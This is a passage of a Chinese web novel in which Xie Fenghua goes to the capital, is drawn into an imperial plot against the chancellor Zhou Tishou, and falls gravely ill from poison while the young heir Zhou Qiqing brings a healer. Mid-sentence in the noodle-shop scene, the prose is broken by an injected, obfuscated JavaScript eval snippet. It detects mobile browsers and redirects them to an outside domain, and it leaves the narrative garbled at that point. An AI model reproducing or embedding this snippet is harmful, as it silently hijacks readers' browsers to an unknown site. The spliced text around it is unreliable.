告别那日，医女依旧是那副爱搭不理的模样，“接下来去哪？” “去华京，去找我兄长。” 医女淡淡应了声：“看来你想通了。” 谢逢华笑了笑：“或许罢。” 医女嘱咐道：“凡事想开些，以后……别再做傻事了。” 谢逢华闷闷“嗯”了声：“我走了。” 医女摆摆手，转身，继续抽出药柜配药。 直至再也听不见她的脚步声，医女凝神，回身放下了药秤。 关门落锁，医馆今日闭门谢客。 医女回到房中，摘下一人长宽的卷轴，沿着墙砖缝隙摸索，“咔哒”一声，砖墙凹陷，露出一面不染尘埃的牌位。 医女燃了三炷香，立于牌位之前，虔诚拜了三拜。 “若您在天有灵，请保佑这孩子平安归来。” 星火点点，青烟袅袅。 昏暗中，“先师杜若之灵位”几字赫然跃于其上。 — “中！” 箭矢飞羽，野鹿重重倒地，抽搐几下，没了声息。 随从上前，利落捆绑死鹿，一端挂于车驾之后。 身后，当朝宰相周惕守引马而来，见状拊掌应和：“几日不见，你的箭术又精进了。” 周其卿收弓，面上不见分毫喜悦：“若父亲常回家看看，便知儿子箭术一直如此。” 周惕守抬手挥退侍从，“若你的功课与箭术般稳定，为父倒也不必操这份心。” 功课功课，又是功课！ 聊些旁的，周其卿兴许还愿意搭上两句，可若提起功课，父子之间的谈话便止步于此。 周其卿打马便走，压根不管身后父亲冷峻的脸色。 回到幄帐，众人一瞧他面如锅底，便知父子必定又起了争执。 周其卿愤然落座，弓弩重重拍在桌案上。 妃嫔贵人皆噤了声，小心翼翼窥探着世子面色。 长公主派人呈来一碗热汤暖身，“猎到几只？” 赌气归赌气，周其卿尚不敢在母亲面前造次。 “三只，全被人半路劫走了。” 长公主正要问是谁这么不长眼，毡帘忽然被掀开，启昭帝大笑着踏足而来。 将军文臣皆簇于两侧，满脸写着“奉承”二字。 周其卿下意识看了眼长公主，见她起身，也随着众人动作，慢吞吞站起来了。 启昭帝落座，接过帕子擦了擦额头的汗，道：“今日收获颇丰，尤其这野鹿肥美，来人，架火，烤肉！” 几个大臣立刻附和道：“陛下神武，此乃天骄。” 周其卿打眼望去，顿然乐了——这不就是周其卿猎到的那两只吗？ 那时他还琢磨为何周惕守明明不通骑射，却执意跟在他后面收拾残局，敢情打的这个算盘。 借花献佛这一招用到亲儿子身上，周惕守当真是好算计。 周其卿冷哼一声，婉拒了皇帝共享鹿肉的邀约，独自躲在一旁，一杯接一杯喝着闷酒。 “少喝些。”长公主无奈道，“年纪不大，酒瘾不小，是该找人管着你了。” 周其卿摇晃着酒盏，喜怒不显于色。 酒过三巡，周其卿借口内急，离开了载歌载舞的宴场。 周铭潜声上前：“世子，马车已在外候着了。” “东西呢？” “都在里面了。” 周其卿留下周铭处理后事，随后独自登上马车，“走，去阳城。” 猎场离阳城不远，约莫一个时辰，马车便赶到了阳城附近。 “停下！” “世子？” 周其卿越下马车，将彤云从车驾中牵出，翻身上马，侧目对茫然的马夫道：“你在此地候着。” 说罢，周其卿扬鞭策马，朝着其中一座山头奔去。 按那人话所言，陈言意的坟就在这附近了。 周其卿费了些功夫，这才找到了那两个坟冢。 意外的是，坟前有女子亭亭而立，不知其所思。 腰间随风飘荡的白绫昭示着家中变故，她衣装素雅，白纱如瀑，坠下帷帽，模糊了她的容颜。 茫茫雪白之中，竟分不清那是活生生的人，还是虚无缥缈的魂魄。 锦靴踏在松软雪地上，发出细微的咯吱声响。 谢逢华循声望去，看清来人，言语里是自己也未觉察到欣喜：“是你？” “姑娘还记得我。”视线落在她脚边的包袱上，周其卿道，“姑娘这是……” 谢逢华拾起包袱，掸去表面浮雪，“我要离开阳城了，顺路过来看看。” “去哪？” “华京。” 周其卿“哦”了声，对她的意图并不大上心：“姑娘身子可好些了？” “劳您挂念，一切安好。”谢逢华道，“世子前来，也是顺路吗？” “顺路，也不顺路。” 听出他话里话外的遮掩，谢逢华没有半分不悦，反而耐着性子接下他的话：“听闻冬狩围场就在阳城附近，世子说顺路，倒也没错。” 但抛下冬狩专程来看陈言意，这路便走得有些曲折了。 是为了避人耳目，还是单纯想来？ 周其卿咧嘴一笑：“姑娘说话文绉绉的，同太学的教书先生上课一般，我竟是听不懂了。” 谢逢华：“……” 周其卿踢了踢脚边隆起的雪堆，“姑娘去华京，可有同行的人？” 谢逢华抱紧怀中包袱，闻言，抬眸窥他一眼，低言道：“尚未。” “正巧我也要回华京，不如我捎带你一程，就当是交个朋友。” 谢逢华默然，道：“世子就不怕我居心叵测，反倒害了世子？” “你我无冤无仇，为何要害我？”周其卿抱臂，好整以暇地打量着她。 况且以她的身形，周其卿要想对付她，简直易如反掌。 谢逢华挽起鬓发拨弄耳后，不大自在地说：“玩笑话而已，世子莫要当真。” — 车内熏香清雅，有美酒美食相伴，座下是金丝软垫，舒适宜人。 买驴车代步都要衡量两日谢逢华，在此时格外局促，龟缩一角，连手脚都不知放在哪里好。 对侧的周其卿却是见怪不怪，许是闲得无聊，也有一搭没一搭与她闲谈。 “此去华京，可有人接应？” 谢逢华抱紧包袱，轻轻摇了摇头。 纱幔如雾，随着动作飘流，恍惚间，周其卿窥见她眼底的一抹黯然。 周其卿道：“身上银两可还够？” “临行前凑了些，应是够的。”谢逢华道，“再不济，我还有些手艺，找间绣坊做工，大抵是足够温饱的。” “华京出名的绣坊，便是文锦苑，其次便是明氏绢纺，你倒是可以去那里碰碰运气，再不济——” 周其卿顿了顿，道：“听那小孩说，你在阳城教孩子读书识字。华京贵商多为家中女眷请女夫子，吃住都在府中，也是个安身之所。” 又说了几句，不知谁先提起，话题便引到了陈言意身上。 提及陈氏夫妇的坟冢，谢逢华默了两息，道：“此事还要多谢世子。” “谢我？” 为罪臣立坟冢，传出去并不好听，彼时多少人暗中指责，又有多少人欲借此事大做文章，谢逢华皆熟视无睹。 谢逢华只怕他们扰了陈氏夫妇清净。 谢逢华在坟冢里动了手脚，若那些人敢来刨坟，坟冢四周的炸药定让他们有去无回。 出乎意料的事，一连几日，坟冢四周安然无恙。 “后来我才知晓，县衙确实有毁尸的念头，是世子出面说情，才留了陈大人最后的体面。” 出面说情？ 他怎么不知道有这事？ “陈大人曾教过我几堂课，我也算是他半个学生。投之以桃报之以李，学生回报老师，不过人之常情。” 谢逢华掩唇轻笑：“像世子这般心地纯良的人，当真是不多见了。” 纯良…… 这词听着倒是没听过。 周其卿只手撑额，静静看着她。 车厢吱呀响，云雾轻摇，烦躁的内心竟前所未有的平静祥和。 “噗。”周其卿忽然笑出了声。 谢逢华不解：“怎么？” “无事。”周其卿笑眼弯弯，分不清是自嘲还是开心，“就是想起，我还是第一次被人夸呢。” — 少年心性总是多变，这才坐了不到半途，他就坐不住了，一边嘴上嫌弃车马慢，一边动身要替马夫赶车。 马夫不敢拦，谢逢华懒得拦，干脆任由他去了。 可车速提上去了，谢逢华却有些难熬了。 谢逢华扶着窗，掩唇强压下作呕感。 马夫缩在角落，报以同情的目光。 这小孩驾车……这么猛吗？ 谢逢华实在熬不住了，掀开帘，迎着呼啸的风声，大声唤道：“停车！” 烈马一声嘶鸣，车马终于在沙尘中停下。 谢逢华踉踉跄跄跳下马，蹲在地上，生无可恋地等待着魂魄归位。 周其卿跟着下马，半蹲在她身旁，“还活着吗？” 谢逢华摆手，有气无力：“你回华京，可是有急事？” 周其卿抚了下鼻尖，没说话。 “罢了。”谢逢华艰难撑膝起身，“我自己走去华京……” “不成。”周其卿想也没想便拒了，“你若中途出了事，我如何给你家人交代？” “……便当我没有家人罢。”谢逢华语气淡漠。 走了两步，衣袖忽然被拽住。 周其卿道：“你坐车，我骑马。” “世子何必急着回华京？” 车外，马夫不死心地劝道：“最慢也不过两三日。” 周其卿将彤云从车驾中引出，“我一开始便说我不想来，偏偏父亲逼着我来。我来了，又让我将猎物让给那几位皇子……与其在这里受气，不如早点回去陪小妹堆雪人玩，还能落得自己开心。” 又行了一程，谢逢华掀开帘子，挪到马夫身侧，有一搭没一搭地聊着。 “世子留了些银两，说一路艰辛，让小娘子照顾好自己。”马夫硬是将荷包塞进了谢逢华手中，“世子心意，还望小娘子收下。” “旁人都说世子行为放浪不羁，但依老奴之见，世子心里有杆自己的秤，是非有自己的考量，只是……旁人不愿花心思理解罢了。” — 慢悠悠行了两日，终于抵达华京城下。 许是周世子有过交代，马夫引谢逢华至城内，交代了华京宵禁等要事，这才离开。 告别马夫，谢逢华站在熙熙攘攘的街上，翻搅的内心久久不能平息。 宝马香车，香绫绮衣，男女老少不知饥馑，街上路不拾遗，高楼飞檐，一片砖瓦亦可抵万钱。 而谢逢华，穿着家中唯一一件新衣裳，抱着一个鼓鼓囊囊的行囊，局促地站在人群中，盯着铺子里热气腾腾的枣糕，不争气地咽了咽口水。 好饿啊。 可是她要省着钱留以日后取用。 谢逢华四下转了转，遇人便打听国子监，就这么一路打探着，中途还险些被一辆马车撞到，那老头人模人样，一开口便是指责谢逢华挡了他的路。 谢逢华气不过，欲与他争论，又被几个看客拦下，说什么“刘博士年事已高便让一让”之类的话，和了一通稀泥，双方都骂骂咧咧地走了。 谢逢华寻到国子监，却打听到国子监司业今日不在监内。 夜色将近，眼瞧着司业一时半刻回不来了，谢逢华只得悻悻而归，先去寻落脚的地方。 一间临时落脚的客栈，最便宜的也要百文。 可谢逢华哪来那么多钱？ 谢逢华钻进一条窄巷，借着楼上一缕摇摇欲坠的烛光，在酒气歌声中，小心翼翼打开了护了一路的包袱。 匣子尚完好，匣中书信她之外再无活人知晓。 几件衣物里，藏着谢逢华事先准备好的信纸。 好在那封引荐信还在，只是不知那段司业还认不认昔日同朝为官的好友。 谢逢华重新将包袱裹好，捂着冻的毫无知觉的鼻尖，决定先活下去，剩下的，就交给命数和天上的故人。 附近有一家汤饼馆子，抱着吃不起也要进去暖暖身的想法，谢逢华跨过了门槛。 店内正是人烟高涨时，谢逢华又太过不起眼，因而一时无人理会她。 谢逢华左瞧瞧右看看，只在角落找到一张尚且空缺的位子。 有一人正低头大快朵颐，置于手边的玉牌更是彰显此人身位不低。 走了一天，饥寒交迫，求生的本能战胜了恐惧，谢逢华鼓起勇气，走上前道：“公子，可否拼个桌？” 那人答应得爽快，谢逢华道了谢，护着包袱，胆战心惊地坐在对面。 确认店家无暇顾及她这方寸一隅，谢逢华也稍稍松下气来，腾出心思思考着下一步的打算。 汤饼的香气勾引着味蕾， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533649|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢逢华很快被对面人勾去了视线。 “店家，来碗汤面！” 谢逢华骤然回神，抬眼撞见那人慈爱的双眸，更是羞的无地自容。 “我……我没那个意思……”谢逢华扣着衣角，恹恹地说。 “尽管吃，算我的。” 谢逢华烫耳道谢。 “听口音，小娘子并非华京人士。” 谢逢华闷闷应了声：“我此来华京，是为寻人。” “孤身一人，可有临时安身之处？” 谢逢华摇摇头，“我受人之托，不敢耽搁，尚未寻到临时落脚处。” 主要还是没钱。 谢逢华悻悻想着，视线无意飘过他手边玉牌，看清上面篆体，愣了下，道：“贵人可是国子监司业段恒？” 果真是踏破铁鞋无觅处，得来只需一碗热汤面。 段恒阅着信，谢逢华就捧着碗大快朵颐，生怕吃完这顿便没下顿。 滚汤流遍四肢，烘得整个人都热气腾腾。 汤见了底，谢逢华才颇为遗憾地放下了碗筷。 不知何时，段恒已收了信，正托腮看着她。 晚时光线不好，谢逢华便将帷帽摘了，此时被人盯着，莫名有些害羞。 “吃饱了吗？”段恒道，“不够再添些。” 谢逢华下意识点头，又猛地摇头：“够了，段大人不必破费。” 本以为段恒会问她些关于陈言意的事，怎料吃饱喝足，段恒径直带她去了附近的客栈，包了雅间。 “这几日我有些事，脱不开身，你且安心住着，我得空便来看你。” 段恒解下腰间玉佩，连同几张银票压在桌上，“若缺什么，去对面那家华京书坊，唤我名号，他们自知该如何做。” 段恒又问了她一些关于陈言意的事，谢逢华挑拣着与他说了，临别前，又将事先整理的陈言意的遗物一并交给他。 走到门边，段恒忽然蹲足，侧目看向她，“直正……当真是畏罪自尽吗？” 闻言，谢逢华按下拆了一半的包袱，不动声色地往身后推了几分，“段大人与陈先生同朝为官数年，其人品，何须我这个外人点评？” 段恒愣了下，轻笑：“倒是个会说话的。” 说罢，段恒不再迟疑，挥袖离去。 — 休整了一日，谢逢华按照书信中的指使，又寻了几处地方，同时借着段恒的帮助，打听着兄长的下落。 又过了两日，谢逢华从外面回到客栈，一开门，段恒已等在房中，手边还有一顶鎏金的食盒。 “段大人何时来了？”谢逢华抖落伞上落雪，收伞置于门边。 “才来，不久。”几日不见，段恒眼底的乌青更浓重了些，他指了指食盒，“入了趟宫，顺便给你带了些好东西。” 谢逢华拾掇整洁，坐于段恒对座。 段恒把食盒往她面前推了推：“打开瞧瞧。” 谢逢华疑惑他的神秘，将信将疑地掀开盒盖。 偌大的食盒，里面却只有一盘白玉似的豆腐。 谢逢华正奇怪一盘豆腐有什么奇怪，段恒忽然探手端走豆腐，然后在食盒边缘摸索着什么。 “咔哒”一声，段恒取出一块圆木板，又将食盒推到她面前。 谢逢华探头朝里张望，只见方才放豆腐的位置，赫然出现一封盖有红印的信封。 “这是？” 谢逢华取了信，拆开，比起信中内容，明晃晃的红篆更是吓得她险些将这信丢出去。 “这这这这是……”谢逢华捏着那纸信封，却好似捧着一块灼手的宝玉，拿也不是，放也不是。 “陛下密诏，命你我暗中调查，以还陈家清白。”段恒将窗放下，抱臂立于其旁，“此事，只有陛下、你、我知晓。” 原来皇上一直都知道。 谢逢华捏着信，指尖掐出一抹月白。 — 一封轻如鸿毛的信，不过盖了玉玺，便轻易搅乱了谢逢华的思绪。 信上写什么“凭君心愿”，看似谦逊善解人意，实则直接把刀架在她脖子上，她不接，恐怕连客栈的门都出不去！ “一群衣冠禽兽！” 谢逢华擦去额角汗水，将包袱往肩上一抗，打开房门，迎面撞上抬手欲敲门的段恒。 段恒睨她：“你去哪？” 谢逢华讪笑：“屋里太闷了，我出去透透气。” 段恒看着她鼓鼓囊囊的包袱，神情一言难尽：“晚上还回来吗？” 谢逢华：“劳您费心，出意外的话应该是不回来了。” 段恒：“……” 经过几日相处，段恒也见识了她睁眼说瞎话的绝技，因而眼都没眨一下，拽着她的衣领将人拎回了房中。 “干嘛啊！”谢逢华瞪着段恒，这几日憋的闷气一股脑发泄出来，“你们分明就是算计我！” 段恒反手将门落锁，神情漠然：“不然你以为陈言意是怎么死的？” 话落，谢逢华倏然噤了声。 “谢娘子，不是我算计你。你，我，甚至是陈言意，我们都只是陛下用来扳倒周惕守的棋子。” 谢逢华双腿一软，跌坐在床上，面色苍白如纸。 瞧着她一副不敢置信的模样，段恒苦笑：“谢娘子，从你选择帮陈言意时起，便已是身不由己了。” 身、不、由、己？ 谢逢华帮人是因为她尚存良知，但这不代表旁人可以随意拿捏。 谢逢华双拳暗握，隐有不甘：“他还要拉多少人下水？” 段恒深深看了她一眼，以沉默回应。 若她去找兄长，是不是兄长也会被…… 谢逢华呆呆坐在床上，心中五味杂陈。 — 陈言意说华京水深，人心更是难测，人与人之间或亲或疏，或远或近，维系关系的不仅是血缘，更多的还是利益。 谢逢华尤记得，陈言意曾与她梳理过华京的人脉关系，从某书坊老板到皇帝，几乎事无巨细，甚至为图讲解方便，还在一本书上画了示意图。 那本书叫什么来着？ 谢逢华竟一时想不起了。 谢逢华登时有些懊悔，早知用得上，那时便不急于卖书换钱了。 那收书的书贩子多收买世间稀罕书，随后经转手卖与书商，再由书商推销，卖给热爱珍藏书籍的读书人。 那人既是华京而来，或许她可以从书坊碰碰运气。 花了小半日时间，谢逢华转了几家书坊，皆是无果。 就在谢逢华反思是不是寻错方向时，余光不经意朝对街一瞥，倏然愣在原地。 是他？ 褪去锦衣冷色，一袭青衫的少年更为意气风发。 周其卿与几个年纪相仿的同伴勾肩搭背，嬉笑着迈进了太学的大门。 谢逢华追了两步路，又倏然停下了脚步。 不过几面之缘，他怎么会记得一个小小的贫家女呢。 谢逢华自嘲般笑笑，转身回了客栈。 — 段恒再来到客栈时，谢逢华向他问起了周世子的事。 “世子？你们见过了？” 谢逢华目光闪避，含糊其辞道：“只是……只是路上逢人听起过。” 这话漏洞百出，段恒却也懒得拆穿她，只当是少女芳心萌动，好心劝道：“别看世子长的人模人样，实则性格顽劣，不堪大用。” 谢逢华摸了摸鼻尖，轻轻“哦”了声。 好在段恒并未将此事放在心上，几句话轻飘飘揭了过去。 段恒此次前来，是为告知谢逢华兄长的下落。 “谢怀世前些年便已成婚，家住青柳巷，科考落榜后便在一学堂当教书先生，日子还算圆满。” 得知兄长还活着，谢逢华如释重负。 只要还有亲人尚存于世，她就不是没有家的孤儿。 临近过年，段恒公务繁忙，腾不出空，碍着身份，也不便送她回家。 但临走前，段恒还是语重心长地嘱咐道： “我们之间的事，莫要让旁人知晓。” 已有陈言意的前车之鉴，谢逢华点点头，背上包袱，在满天风雪中告别段恒，朝着城外走去。 54. 第 54 章 谢怀世回到府中，边解大氅边四下张望，“应时呢？” “方才用了药，才睡下。”明玥放下绣绷，接过那袋热腾腾的糖枣糕，“怎么想起买这个了？” “不是你说应时想吃吗？”谢怀世不以为意。 明玥无奈：“那只是应时的梦话，你怎的还当真了？” 谢怀世不以为意地笑笑，又和明玥说了几句亲昵话，便朝谢逢华的闺房走去。 那次变故后，谢逢华大难不死，却引得旧疾复发，新病旧疾压在她本就羸弱的风骨上，身体一下子就垮了。 他们什么法子都用过了，病情反反复复，总也不见好。 太医说，谢逢华能保住命已是不易，至于其他，只能靠日后慢慢调养。 如今的谢逢华也越发嗜睡，有时一整日也不见醒。偶尔醒了，吃两口粥，说几句话，便呆呆望着窗外，直到再次陷入昏睡。 屋内燃了安神的熏香，借着微弱的烛光，谢怀世悄声坐在床榻边，探手置在她鼻下。 感受到那股若有若无的气息，谢怀世轻轻松了口气。 将那双温凉的手塞回被中，谢怀世静静望着她那双睡梦中仍紧蹙的眉眼，心口好似有千百根针扎过，淅淅沥沥流着血泪。 屋外风雪翻涌，摧折枯枝，丝毫未有停歇之意。 谢怀世尤记得，谢逢华抱着包袱找上他时，也是如这般风雪日。 彼时谢怀世正与明玥行在归家路上，你一言我一语地规划着新年。 他们便是在这时遇见谢逢华的。 那时谢逢华傻傻蹲在家门外，抱着怀中鼓鼓囊囊的包袱，缩成一团。 风雪裹了她满身，从远处望去，活像只大一等的雪狸奴。 风雪织雾，模糊了他们的视线。 一开始，他们以为是谁家的姑娘迷了路，走错了家门，直到那人闻声动弹几下，抬头，迷惘地看向他们。 纵使经年未见，心底那份思念先一步认出了她：“小妹？” 若那时，谢怀世知晓谢逢华会来找他，他那日定然要早些到家，备好热水暖炉等候她。 一声轻咳，回忆戛然而止。 谢怀世拨开她额前遮眼的碎发，“醒了？渴不渴？饿不饿？我唤人去给你热些粥水来。” 谢逢华又低低咳嗽两声，手指揪住他的袖边，“兄长，我梦到爹娘了。” 谢怀世倒了温水，扶着谢逢华坐起身，“爹娘说了什么？” 就着他的手，谢逢华抿了两口水，稍稍有了些气力，才道：“爹娘让我们好好活下去。” 竟是这般简单又艰巨的愿望吗？ 谢怀世苦笑，放下了茶盏。 余光窥见窗沿的一线月白，谢逢华道：“我睡了多久？” “一个时辰。” 居然睡了这么久…… 谢逢华垂着眼皮思索了会儿，又问道：“过几日就是新年了，怎么不见外面挂红呢？” 谢怀世神色一滞，垂下眼睑，低声道：“还有几日，不急于一时。你若是想挂灯笼，待雪停了，兄长陪你挂上。” 谢逢华点点头，眼皮又有些沉了，“兄长，我是不是又给你们添麻烦了？” “又开始说梦话了。”谢怀世屈指，轻轻敲了敲她的额头，“以后不许说这等丧气话。” “……哦。” — 夜半时分，雪静无声。 一抹黑影悄然翻过高墙，行过廊檐，停在谢逢华的房门前。 床边纱帘因来客叨扰而惊颤，月影移动，床上人轻轻咳嗽了两声。 他下意识放缓了呼吸，欲靠近的身体也僵在原地。 默了好一会儿，他才将药包轻放在桌案上。 身后蓦然飘来谢逢华轻弱的询问：“是世子吗？” 周其卿侧目，不知何时，谢逢华已撑起身，一只手掀着帘，遥遥望向他。 乌发如墨，沉甸甸压在她脆薄的身上，眼眸如墨，晕开了满室月影。 周其卿张了张口，那句“谢娘子”却迟迟吐不出口。 谢逢华欲言又止，视线落在他手边的药包上，唇角勾了勾，朝他招手：“过来。” 周其卿下意识上前，却又怕一身寒气刺她病骨，于是驻足她两步远的地方，静静看着她。 谢逢华扯过棉被裹在身上，瞥他一眼：“怎么，还在恨我？” “谢娘子惯会拿我打趣。” 周其卿说着笑，唇边却丝毫不见半分起落。 谢逢华掩唇笑笑：“这几日不见你来过，我还在想你是不是生气了，现在看来，倒是我多虑了。” 生气。 怎能不生气。 周其卿气她贸然动作招引祸事，气自己没能早一步找到她，气她事到如今还扮可怜惹他心痛。 这些，周其卿没有宣之于口，谢逢华亦浑然不觉。 “这几日去了哪里？” “我……”周其卿垂眸，“我去了趟阳城，请灵仙娘子出山。” 谢逢华微微有些错愕：“灵仙娘子隐居阳城，从不轻易出山，你如何说动她的？” 其实周其卿也不大全然知晓。 毕竟当年他救人心切，无意冒犯了灵仙几句，这次归去，也早已做好了被拒之门外的准备。 不出所料的，见周其卿登门，灵仙当即摔了账本，要赶他出去。 出人意料的事，听到所救之人是谢逢华，灵仙先是愣了愣，又追问了伤势，几乎是未有丝毫犹豫，当即便开了药，让他先带回华京。 “灵仙娘子的马车慢些，估摸要明日才能到华京。” 周其卿端来一盏茶，见她不喝，便自己饮了。 谢逢华好整以暇地看着他：“你呢？为何不等明日随灵仙姑娘一同登门？” 窥见她眼中毫不掩饰的揶揄，一股滚烫自心口涌上，烧透了耳根。 周其卿别过脸：“时候不早了，我先回府了。” 急匆匆走到门边，谢逢华忽然唤住他。 周其卿侧目。 屋内幽暗，一缕雪色入户，倒映在谢逢华眸中，成了暗室里唯一流动的烛光。 “这段时日，辛苦你了。” “我最不想听到的就是这句话。” 周其卿置下话，推门离开。 徒留满室雪月幽光。 — 翌日。 才过午时，一医女提着药箱，在周其卿的引荐下，踏上了明府的石阶。 像是早有预料般，谢逢华及时现身，拦下了要入府通传的门子。 “这二位都是我请来的贵客，没这么多礼数。眼下嫂嫂午睡未醒，就不必进去通报了。” 门子窃看来眼周其卿，犹豫了下，还是如实答道：“谢娘子，家主有令，周世子不得入内。” “噗。” 医女忍不住笑出了声。 周其卿俨然是知情的，却不愿告知谢逢华。 眼下被戳穿，周其卿面上一阵红一阵黑，五颜六色，煞是难看。 谢逢华幽幽看了眼心虚的周其卿，面上不显喜怒，转头对门子道：“世子于我有恩，今日这门非进不可。若旁人问起，你便说是我允的，出了事，尽管问罪我便是。” 明玥尚在午休，明玹在宫中值班，谢怀世去了太学上课，现下府中主事也只有谢逢华而已。 谢逢华是明家捧在掌心里的明珠，既发了话，他们不能不听。 “你怎么不去太学？”谢逢华看向周其卿。 周其卿扶着谢逢华落座，“母亲病了，留我在府中照料。” “长公主病了？”谢逢 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还偏偏出现在…… 谢逢华垂眸，陷入深思。 周其卿道：“缠命郎既需时日发作，谢娘子为何会病得更为急烈？” “估计是加大了用量。”灵仙收了帕子，“这毒难解，我得需些时日准备解药。” 周其卿忙道：“需要什么，我派人去找。” 灵仙斜睨他一眼：“哟，这回世子不骂我庸医了？” 谢逢华抬眸：“你还骂人？” 周其卿心虚移眼：“我没有。” 谢逢华看向抱臂看戏的灵仙，定了定神，起身拜礼，道：“这孩子年纪小不懂事，那时或许只是救人心切，若有冒犯的地方，我代他赔个不是。” 灵仙合上药匣，幽幽扫她一眼：“你倒是护犊心切。今日我若不应，倒显得我斤斤计较了。” 谢逢华身形飘渺似流雪，周其卿默不作声靠上前，伸手搂住她的肩，扶着人坐下。 随后上前半步，朝灵仙鞠了一礼：“当年是晚辈失言，晚辈在这里给灵仙赔个不是。是罚是骂，晚辈全无怨言，还望灵仙莫要因晚辈迁怒谢娘子。” 向来高高在上的世子对她一医女卑躬屈膝，语气近乎于恳请，字字却是为他人谋命。 灵仙觉得，这两人当真是有些相似的。 “我若是那般人，早在当年就放任谢娘子自生自灭了。” 灵仙按了按酸胀的额角，轻轻摆了摆手，“罢了罢了，摊上你们算我倒霉。病我能治，但……我并无十成把握。” 一听这话，周其卿眉心微拧，好似下一刻便要出言质问。 “有七八成也是好的。”谢逢华按下肩上那双温冷的手，安抚道，“二位舟车劳顿，可曾用过午膳？我烤制了一盘梅花烙，若二位不嫌弃，不如吃些垫垫肚子？” 得了灵仙默许，谢逢华作势起身，又被一双手按下。 周其卿道：“放在哪里了？我去拿。” “就在厨房，大概在灶火旁边。” 谢逢华道了位置，目送周其卿出了门，这才正色看向灵仙，肃言道：“我这条命，您有几分把握？” 二人共过事，亦知晓彼此并非拖沓的性格。 现下没了外人，灵仙倒也不含糊，坦诚相告：“不足三成。” 三成啊…… 谢逢华绞着锦帕，敛目深思。 “怎么，怕了？” 谢逢华愣神，旋即摇头，神色坦然：“我不怕死。” “我只是在想，我曾答应过其卿，要在他的冠礼上亲自为他取字。” “只是这一次，我又让他失望了。” 55. 第 55 章 谢逢华差人腾出一间卧房，以安顿灵仙娘子。 灵仙一路奔波，几乎是彻夜未眠，草草吃了几口梅花烙，便回房间休息了。 一时间，屋内便只剩下他们二人。 谢逢华拾了块梅花烙，递到他面前，“长公主最近怎么样？” 周其卿回神，看着那块巴掌大的甜糕，犹豫了下，伸手接过。 “太医说，母亲可能……熬不过这个冬日。” “好端端为何会突然晕倒？” 周其卿摇头，指甲扣着那块酥烙。 突如其来的变故犹如巨石一向高傲的头颅此刻深深扎入胸膛，长发垂落，模糊了他眼角的酸红。 从他的身上，谢逢华仿佛看到了曾经茫然无措的自己。 谢逢华靠上前，张开双臂，将他搂进怀里，指尖抚着少年人弯折的脊梁，感受着血肉在掌心下涌动。 “都会过去的……”谢逢华轻声道。 长公主府尚有要事处理，周其卿没有久留，被谢逢华逼着揣了一袋梅花烙，便匆匆离开了。 这一下午着实耗了不少心力，谢逢华在房中歇了片刻，又去小厨房做了些酥饼，这才去往明玥房中报事。 “家主正在书房与容祭酒议事，姑娘若不急，不妨吃些热茶稍待片刻，奴这就去通传。” 谢逢华拦下那人，道：“不必通传了，我自己寻去就好。” 难怪这半日安然无波，敢情是容舟来了。 谢逢华拎着食盒踏入书房时，恰好听到里屋传来容舟一声轻叹。 “长姐曾随先祖四处征战，尤其对梁国最是熟悉，偏偏就在这个节骨眼上出了事，若说没有周惕守背后作祟，我是断然不信的。” 明玥担忧道：“自诞下世子，长公主身子一向不好，就算救国心切，此时上战场，未免太过勉强了。” “不，不只是为救国。”容舟叹道，“最重要的是，长姐和圣上，都不想让周惕守领兵。” 周惕守稳坐宰相之位数年，细数朝中文臣武将，凡是摆的上台面的，哪个不与周惕守有几分苟合？ 圣上不善领兵，留在朝中尚能牵制周惕守几分，可如今长公主生死未卜，无疑是将圣上逼上了独木。 “外头梁国卷土重来，内有周氏虎视眈眈，圣上怕是没心思过年了。” 咚咚。 指骨轻击梨花木，打破了里屋的愁闷。 二人双双噤声，循声望来。 谢逢华拎着食盒，眉眼弯弯：“嫂嫂，容大人。” 听闻有阳城名医上门为谢逢华调养身体，明玥又惊又喜，还念叨着要多为灵仙添些人手，但都被谢逢华一一婉拒了。 至于灵仙为何来此，明玥并未过问。 容舟瞧她精神极佳，虽心有疑虑，但亦并未多言。 谢逢华道：“嫂嫂，明日我想去一趟绢纺，选几匹好料子做春服。” 明玥掰了块酥饼：“好，明日我随你一起。” 容舟冷着脸：“大夫说你胎象不稳，不应多动。正巧我明日清闲，不若我陪谢娘子去绢纺选料。” 得了应允，谢逢华也松了口气。 聊了几句，谢逢华便称要回房喝药，送走谢逢华，容舟这才开口：“那灵仙什么来头？” 明玥咬着酥饼，含糊不清地道了句“不知”。 “那你还敢让一个不知由来的外人住在府上？” 囫囵咽下一口酥饼，明玥安抚道：“应时有自己的考量，何况这偌大的宅子，少说也有百来人，总不能连个弱女子都看不住。” “你！”容舟被她噎得说不出话，想与她争几句又怕她气上头动了胎气，只好强压下心中疑虑，全当没说过。 明玥吞了口茶，顺了气，坦然道：“别想太多了，现在周惕守忙着争兵权呢，哪有心思再管一个半死不活的弱女子呢。” “哪有这么咒自家人的……”容舟嘟哝。 “此招虽险，但胜算极大。”明玥道，“明家家大业大，就算十个谢逢华，也能供她衣食无忧，何况就算我不在了，不还有济民和你吗？” “想得美。” 容舟端起茶，茶盖撇去浮沫。 波澜无惊的水面上，倒映出她唇角的一弯弧度。 — 谢逢华揣着满腹心事回到自己房中，恰好灵仙前来看诊，见她心事重重，便放下了细如发丝的毫针，主动开言：“出什么事了？” “我就是在想，长公主的病，会不会也和缠命郎有关。” 谢逢华将长公主近些年的状况一一告知灵仙后，话落，灵仙一反常态的沉默不语。 谢逢华以为她不愿掺和天子家事，正要说些旁的岔开话题，便听灵仙道：“听症状，确实有几分像缠命郎。” 谢逢华心头一紧，旋即便听到灵仙幽幽一声叹息：“若如你所言，经过这些年，那毒怕是早已渗入骨髓，就算我现在能调制出解药，恐怕也无力回天。” “所以长公主……”谢逢华握紧拳，齿缝间挤出残忍的现实，“只能等死吗？” “不是等死。”灵仙纠正道，“是已经死了。” 可周其卿该怎么办呢？ 谢逢华道：“我要去趟周府。” “你想将这事告诉世子？” 